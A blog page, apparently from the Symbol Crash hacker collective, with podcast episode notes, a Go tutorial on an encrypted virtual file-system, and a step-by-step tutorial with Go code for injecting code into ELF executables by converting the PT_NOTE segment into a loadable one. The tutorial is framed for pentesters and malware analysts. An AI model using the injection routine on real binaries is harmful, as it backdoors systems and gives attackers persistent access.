I Can Do This Real Quick: A DMA Special

In this episode of the Hack the Planet Podcast:

Our panel reacts to the hype around recent Thunderbolt attacks and dives deep into bypassing disk encryption with Direct Memory Access. We also show off our side projects: a newly invented musical instrument, a rewrite of The Backdoor Factory, and how to maximize your Folding@Home performance beyond all psychological acceptance.

https://github.com/mitchellharper12/folding-scripts
https://github.com/Binject/backdoorfactory

https://github.com/ufrisk/pcileech
https://safeboot.dev/

https://www.youtube.com/watch?v=7uvSZA1F9os
https://thunderspy.io/

https://christian.kellner.me/2017/12/14/introducing-bolt-thunderbolt-3-security-levels-for-gnulinux/
http://thunderclap.io/thunderclap-paper-ndss2019.pdf

https://docs.microsoft.com/en-us/windows/security/information-protection/kernel-dma-protection-for-thunderbolt
https://docs.microsoft.com/en-us/windows/security/information-protection/bitlocker/bitlocker-countermeasures
https://www.platformsecuritysummit.com/2019/speaker/weston/

Be a guest on the show! We want your hacker rants! Give us a call on the Hacker Helpline: PSTN 206-486-NARC (6272) and leave a message, or send an audio email to podcast@symbolcrash.com.

Original music produced by Symbol Crash. Warning: Some explicit language and adult themes.

Interview with Craig Smith, author of The Car Hacker’s Handbook

In this episode of the Hack the Planet Podcast:

We talk to Craig Smith, author of The Car Hacker’s Handbook, about DRM, car hacking, and the future of virtual conferences.

https://github.com/zombieCraig/ICSim

http://opengarages.org

https://www.carhackingvillage.com

https://www.cybertruckchallenge.org

https://www.grimm-co.com/grimmcon

Be a guest on the show! We want your hacker rants! Give us a call on the Hacker Helpline: PSTN 206-486-NARC (6272) and leave a message, or send an audio email to podcast@symbolcrash.com.

Original music produced by Symbol Crash. Warning: Some explicit language and adult themes.

Fold, Baby, Fold

In this episode of the Hack the Planet Podcast:

In the first installment of the Hack the Planet quarantine series, our panel discusses a vital question of our time: to pants or not to pants?

We discuss our collective contribution to the world’s largest supercomputer and how you can get involved.

Port Knocking Code: https://github.com/mitchellharper12/web-port-knock

Folding@home: https://foldingathome.org/

Folding rankings: https://folding.extremeoverclocking.com/team_list.php

Rosetta@home: https://boinc.bakerlab.org/

Protofy.xyz Ventilator: https://www.oxygen.protofy.xyz/

OS Covid Medical Supplies Group: https://www.facebook.com/groups/670932227050506/

Makers vs Virus: https://www.makervsvirus.org/en/

Be a guest on the show! We want your hacker rants! Give us a call on the Hacker Helpline: PSTN 206-486-NARC (6272) and leave a message, or send an audio email to podcast@symbolcrash.com.

Original music produced by Symbol Crash. Warning: Some explicit language and adult themes.

Weaponizing Side Effects Of Consciousness

Our panel returns with more rants on Citrix, how nobody really understands ECC, Moxie Marlinspike’s talk at 36c3, and the debate about sharing open source attack tools.  Try to guess who was drunk.  

Talks we mention in this episode:

Surveillance of Assange: https://media.ccc.de/v/36c3-11247-technical_aspects_of_the_surveillance_in_and_around_the_ecuadorian_embassy_in_london

Unpublished Moxie Marlinspike talk: https://peertube.co.uk/videos/watch/12be5396-2a25-4ec8-a92a-674b1cb6b270 

Boeing 737 Max crashes talk: https://media.ccc.de/v/36c3-10961-boeing_737max_automated_crashes

Be a guest on the show! We want your hacker rants! Give us a call on the Hacker Helpline: PSTN 206-486-NARC (6272) and leave a message, or send an audio email to podcast@symbolcrash.com.

Original music produced by Symbol Crash. Warning: Some explicit language and adult themes.

Intraplanetary Hacker Interviews at 36c3

A series of fascinating interviews on the differences and similarities in hacker culture around the globe, on location at 36c3, the Chaos Computer Club’s 36th annual congress in Leipzig, Germany. 

mc.fly and b9punk’s seminal talk from Notacon 3 on the differences between American and German hacker culture’s can be found here:
https://www.youtube.com/watch?v=edu8nTWzu08

Give us a call on the Hacker Helpline: PSTN 206-486-NARC (6272), or send an audio email to podcast@symbolcrash.com.

Original music used with permission from Abstract C#. Warning: Some explicit language and adult themes.

Interview with Bill Pollock of No Starch Press at 36c3

In this episode, we interview Bill Pollock, publisher of No Starch Press, at 36c3, the Chaos Computer Club’s 36th annual congress in Leipzig, Germany.  We talk about the new No Starch Press Foundation, micro-grants for hackers, bourbon, and much more.


Get involved at https://nostarchfoundation.org/

Give us a call on the Hacker Helpline: PSTN 206-486-NARC (6272), or send an audio email to podcast@symbolcrash.com.

All music is original. Warning: Some explicit language and adult themes.

The Removal of a Layer of Abstraction

Includes a detailed report of the 2019 Platform Security Summit in Redmond, WA.  More helpful tips for hackers young and old.

We also take our first call from the Hacker Helpline: PSTN 206-486-NARC (6272), or send an audio email to podcast@symbolcrash.com.

PSEC 2019 Videos: https://www.platformsecuritysummit.com/2019/videos/

Plugs:

Monthly hardware hacking meetup (4th Friday of the month): https://www.meetup.com/Symbol-Crash-Proper-Hacker-Training/

Tools:

Socat: http://www.dest-unreach.org/socat/

Screwed Drivers: https://github.com/eclypsium/Screwed-Drivers

Mozilla DXR: https://dxr.mozilla.org/

Mozilla Crash Stats: https://crash-stats.mozilla.com/

Binjection Framework: https://github.com/Binject/binjection

All music produced by Symbol Crash.

End-Stage Capitalism

Five hackers rant about the security industry and the general decline in human progress. But as not all is lost, we then provide useful tips to hackers both old and new.

Symbol Crash also introduces the Hacker Helpline at PSTN 206-486-NARC (6272), or send an audio email to podcast@symbolcrash.com

Plugs:

Building the Andromeda Strain Post-Exploitation Training RSVP: https://www.eventbrite.com/e/hushcon-training-2019-building-the-andromeda-strain-tickets-68555046991

Monthly hardware hacking meetup (4th Friday of the month): https://www.meetup.com/Symbol-Crash-Proper-Hacker-Training/

Tools:

GTFOBins

LOLBAS

All music produced by Symbol Crash.

Encrypted-at-Rest Virtual File-System in Go

One incredibly powerful feature of the Go language that hasn’t seen a lot of use is its native support for virtual file-systems. Most C-style code is written using the standard file operations that all work on passing an integer “file descriptor” around. To re-purpose that code to use anything other than the OS-provided file would involve changing every file operation call in all of the source and libraries involved.

A “file” in Go is just another set of interfaces that you can replace.

The cool thing about that is that all Go code ever written to do operations on files will work just as well if you pass it some other thing you made that implements the file-system interfaces. All you have to do is replace the standard file-system implementations you’re used to, mostly provided by the os package, with your new virtual file-system, and all the ReadFile, OpenFile, etc. function calls will stay the same.

By using a couple of existing Go libraries that do the heavy lifting, it’s possible to implement a simple read-write virtual file-system that will be encrypted and compressed on disk in only a couple pages of code, as you’re about to see.

The two libraries we’ll use are:

rainycape’s VFS library – The VFS provided by the standard library is read-only. This library adds the ability to write to the virtual file system, and also already supports importing the file-system from several different compressed archive formats. We will simply extend this to add encryption, but as of this writing, rainycape’s VFS library is the only working implementation of a Go VFS with write implemented, so it will be the likely starting point for any other Go VFS project you might attempt.

bencrypt – An encryption utility package we will use just for the AES encrypt/decrypt functions.

import (
    github.com/rainycape/vfs
    github.com/awgh/bencrypt
)

The first of our two pages of code is a function that simply AES decrypts a compressed file with a given key and passes the decrypted compressed file into the rainycape VFS library, which provides a full read-write implementation of a virtual filesystem decompressed into memory from a compressed file.

// OpenAndDecrypt returns an in-memory VFS initialized with the contents
// of the given filename, which will be decrypted with the given AES key,
//  and which must have one of the following fileTypes:
//
//  - .zip
//  - .tar
//  - .tar.gz
func OpenAndDecrypt(filename string, fileType string, aesKey []byte) (vfs.VFS, error) {
	f, err := os.Open(filename)
	if err != nil {
		return nil, err
	}
	defer f.Close()
	b, err := ioutil.ReadAll(f)
	if err != nil {
		return nil, err
	}
	clear, err := bencrypt.AesDecrypt(b, aesKey)
	if err != nil {
		return nil, err
	}
	bb := bytes.NewBuffer(clear)
	switch fileType {
	case ".zip":
		return vfs.Zip(bb, int64(bb.Len()))
	case ".tar":
		return vfs.Tar(bb)
	case ".tar.gz":
		return vfs.TarGzip(bb)
	}
	return nil, fmt.Errorf("can't open a VFS from a %s file", fileType)
}


The second page of code is to write your changes back from memory to the disk. This does the inverse of the OpenAndDecrypt operation, it just zips the file-system back up to an archive and then AES encrypts it with the given key.

// SaveAndEncrypt converts the given VFS to the given archive type,
// and then encrypts the archive with the given AES key.
// Supported fileTypes:
//
//  - .zip
//  - .tar
//  - .tar.gz
func SaveAndEncrypt(fs vfs.VFS, outfile string, fileType string, aesKey []byte) error {
	bb := bytes.NewBuffer(nil)
	switch fileType {
	case ".zip":
		if err := vfs.WriteZip(bb, fs); err != nil {
			return err
		}
	case ".tar":
		if err := vfs.WriteTar(bb, fs); err != nil {
			return err
		}
	case ".tar.gz":
		if err := vfs.WriteTarGzip(bb, fs); err != nil {
			return err
		}
	default:
		return fmt.Errorf("can't write a VFS to a %s file", fileType)
	}
	cipher, err := bencrypt.AesEncrypt(bb.Bytes(), aesKey)
	if err != nil {
		return err
	}
	if err := ioutil.WriteFile(outfile, cipher, 0600); err != nil {
		return err
	}
	return nil
}

The final piece of code we’ll need to get around is a simple function that will AES encrypt any file. We can then make our starting file-system as a compressed archive and use this function to AES encrypt it to be loaded by OpenAndDecrypt.

// EncryptFile will encrypt clearfile with aesKey and save it to outfile
func EncryptFile(clearfile string, outfile string, aesKey []byte) error {
	f, err := os.Open(clearfile)
	if err != nil {
		return err
	}
	defer f.Close()
	clear, err := ioutil.ReadAll(f)
	if err != nil {
		return err
	}
	cipher, err := bencrypt.AesEncrypt(clear, aesKey)
	if err != nil {
		return err
	}
	if err := ioutil.WriteFile(outfile, cipher, 0600); err != nil {
		return err
	}
	return nil
}

That VFS interface returned by OpenAndDecrypt can be used just like the regular os and ioutil interfaces you’re used to getting from the standard library… and it will be easy to retro-fit your existing code to use an interface that could be a VFS.

Here’s a quick example of how you could encrypt a Zip file and then open it up as if it were the os or ioutil packages (because they both implement the same interface).

	aesKey, err := bencrypt.GenerateRandomBytes(32)
	if err != nil {
		log.Fatal(err)
	}
	if err := bencrypt.EncryptFile("fs.zip", "fs_test.aes", aesKey); err != nil {
		log.Fatal(err)
	}
	fs, err := bencrypt.OpenAndDecrypt("fs_test.aes", ".zip", aesKey)
	if err != nil {
		log.Fatal(err)
	}

	data1, err := vfs.ReadFile(fs, "a/b/c/d")
	if err != nil {
		log.Fatal(err)
	}

Now, before you go typing all this into your favorite IDE, I should point out that all of these functions have already been added to the bencrypt library, so you can just call them directly from there.

IMPORTANT WARNING

Also, be aware that this simple method will not encrypt your files once they have been loaded into system memory. They could be read out unencrypted by a debugger, saved in a swap file, or a tool like Volatility.

Final Thoughts

To retro-fit your existing code that uses the os package, you’ll need a defined interface that you can use that could be bound either to os or to vfs. I would suggest stealing this one from the go-vfs package as a starting point.

The other kind of odd thing about this, is that it’s almost entirely a side-effect of how Go handles interfaces. Membership in interfaces is decided at runtime, based on whether or not the required functions exist in a type to satisfy the interface. This lets you define an abstract interface for a file-system after the fact that matches what os already does, and create a virtual file-system that implements that interface as well. Your existing code just needs to be repointed to your new interface instead of to os and everything else will work, even though your interface was written way later than the os package. The same trick could allow replacing or hooking other lateral aspects of standard library functions, that might yield similarly interesting results.

PT_NOTE to PT_LOAD Injection in ELF

We’ve recently checked in a new injection method for ELF executables into binjection, based on the PT_NOTE segment. This method of infection is both really handy (read: easy to implement) and has a high success rate on ET_EXEC binaries without breaking the binary.

Understanding the techniques of binary injection is useful to both the penetration tester and the reverse engineer who is analyzing files for malware. For the pentester, having a common file such as /bin/ls execute arbitrary code each time it is run is useful in establishing and maintaining persistence. A reverse engineer who notices that an ELF binary has 3 PT_LOAD segments and no PT_NOTE segment can safely assume that the binary at the very least is suspect, and should be evaluated further.

The breakdown of the algorithm

Most ET_EXEC binaries (but not golang! [1]) have a PT_NOTE segment that can be entirely overwritten without affecting program execution. The same segment can also be transformed into a loadable segment, where executable instructions can be placed.

We will go through the algorithm next, step by step. If you need a primer on the basics of ELF files and their headers, read this article before proceeding. When you’re ready, open the binjection source code and follow along.


1. Open the ELF file to be injected:

elfFile, err := elf.Open(sourceFile)
if err != nil {
    return err
}


2. Save the original entry point, e_entry:

oldEntry = elfFile.FileHeader.Entry


3. Parse the program header table, looking for the PT_NOTE segment:

 for _, p := range elfFile.Progs {
    if p.Type == elf.PT_NOTE {   
        // do our modifications here      
    }     
}


4. Convert the PT_NOTE segment to a PT_LOAD segment:

p.Type = elf.PT_LOAD


5. Change the memory protections for this segment to allow executable instructions:

p.Flags = elf.PF_R | elf.PF_X


6. Change the entry point address to an area that will not conflict with the original program execution.

We will use 0xc000000. Pick an address that will be sufficiently far enough beyond the end of the original program’s end so that when loaded it does not overlap. 0xc000000 will work on most executables, but to be safe you should check before choosing.

p.Vaddr = 0xc000000 + uint64(fsize)


7. Adjust the size on disk and virtual memory size to account for the size of the injected code:

p.Filesz += injectSize
p.Memsz += injectSize


8. Point the offset of our converted segment to the end of the original binary, where we will store the new code:

p.Off = uint64(fsize)


9. Patch the end of the code with instructions to jump to the original entry point:

shellcode = api.ApplySuffixJmpIntel64(userShellCode, uint32(scAddr), uint32(oldEntry), elfFile.ByteOrder) 


10. Add our injected code to the end of the file:

elfFile.InsertionEOF = shellcode


11. Write the file back to disk, over the original file:

return elfFile.WriteFile(destFile)


-= We’re done! =-

Notes on system and interpreter differences of PT_NOTE

The ELF ABI specification doesn’t describe a way in which this segment must be used, therefore it is inevitable that the researcher will find binaries that use the NOTE segment in unique ways. These are sometimes system specific
(BSD varieties have a lot of possible notes), and sometimes original language specific, as in Go binaries.

Final Thoughts

PT_NOTE injection of ET_EXEC ELF binaries is a solid and tested method for the pentester. It is fast and relatively easy to implement, and will work on a high percentage of Linux binaries without modification to the algorithm.

It is probably the easiest of the injection algorithms to start out with, for those new to this area.

Understanding this method of injection is valuable to the budding reverse engineer, an easy red flag to look for in the first of many injection methods that you will encounter over time.

ELF injection is an art-form, and to people on either side of the aisle who enjoy this type of binary analysis and manipulation, the myriad of tricks to implement and detect these methods provide a vast playground with nearly
endless possibilities.

I hope that this article will be useful to those attempting to begin and advance their work in this area.

All that we are is the result of what we have thought.
— Buddhist quote

[1] golang binaries do a unique thing with the PT_NOTE segment. It contains data that must be present during execution, therefore this injection method will not work on them… more on this to follow…